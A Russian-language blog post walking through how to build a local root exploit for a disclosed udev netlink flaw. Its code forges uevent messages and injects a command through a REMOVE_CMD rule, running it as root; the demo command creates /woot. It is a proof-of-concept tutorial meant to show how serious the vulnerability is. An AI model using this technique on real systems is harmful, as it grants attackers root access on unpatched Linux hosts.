Это кросспост моей записи из хаброблога
программирование под *nix.
Хаброюзер
allan_sundry во флейме
про ботнет под Mac OS X не поверил, что недавняя уязвимость в Linux-овом udev действительно широка, глубока и в ряде случаев даже опасна. В ответ я решил написать этот топик, демонстрирующий, что создать рабочий эксплойт для опубликованной уязвимости нередко может даже фриланствующий студент-недоучка, потратив пару-тройку часов воскресным вечером.
Входная информация -
udev не проверяет отправителя сообщения.
А вот и весь нехитрый процесс создания эксплойта по шагам:
- Скачиваем исходники udev, grep-ом находим, что нужно создавать netlink-сокет для протокола NETLINK_KOBJECT_UEVENT:
int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
- Читаем man 7 netlink и заполняем адрес назначения для пакета:
struct sockaddr_nl dest;
memset(&dest, 0, sizeof(dest));
dest.nl_family = AF_NETLINK;
dest.nl_pid = pidof_udev;
- Запускаем strace -p `pidof udevd`, втыкаем что-нибудь в USB и получаем примерный формат пакета:
#define REQ(act, dev) \
act "@/class/mem/" dev "\0" \
"UDEV_LOG=3\0" \
"ACTION=" act "\0" \
"DEVPATH=/class/mem/" dev "\0" \
"SUBSYSTEM=mem\0" \
"MAJOR=1\0" \
"MINOR=1\0" \
"SEQNUM=3747\0" \
"UDEVD_EVENT=1\0" \
"DEVNAME=/dev/" dev "\0"
char req1[] = REQ("add", "ufo");
- Отправляем этот пакет:
sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
И получаем в ответ «Connection refused».
- Изучаем еще раз исходники udev и обнаруживаем, что netlink сокет открывается до того, как демон уйдет в фон, fork()-нувшись. Pid-ы обычно выдаются последовательно, поэтому попробуем просто задать немного другой адрес:
dest.nl_pid = pidof_udev - 1;
После этого никаких ошибок send() не вернул и более того, в /dev появился странный файл /dev/ufo, который и был только что создан через дыру в udev. Но создать устройство - это не очень не интересно, лучше исполнить свой код.
- Сложный путь по внедрению своего кода в ядро через специальные устройства /dev/mem и /dev/kmem - это интересно, но для proof-of-concept можно и срезать дорогу. Запускаем grep -r RUN /etc/udev/rules.d/ и находим странно написанное правило:
ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
- Добавляем еще одно netlink-сообщение, на этот раз для удаления /dev/ufo:
char req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";
sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
Запускаем... НЛО прилетело и оставило файл /woot!
Все вышеперечисленное проверялось на Gentoo но, вероятно, будет работать и под Ubuntu. Те, кто не обновился и желают самостоятельно поставить эксперимент, могут скачать
код целиком.
P.S. скучный топик, не правда ли?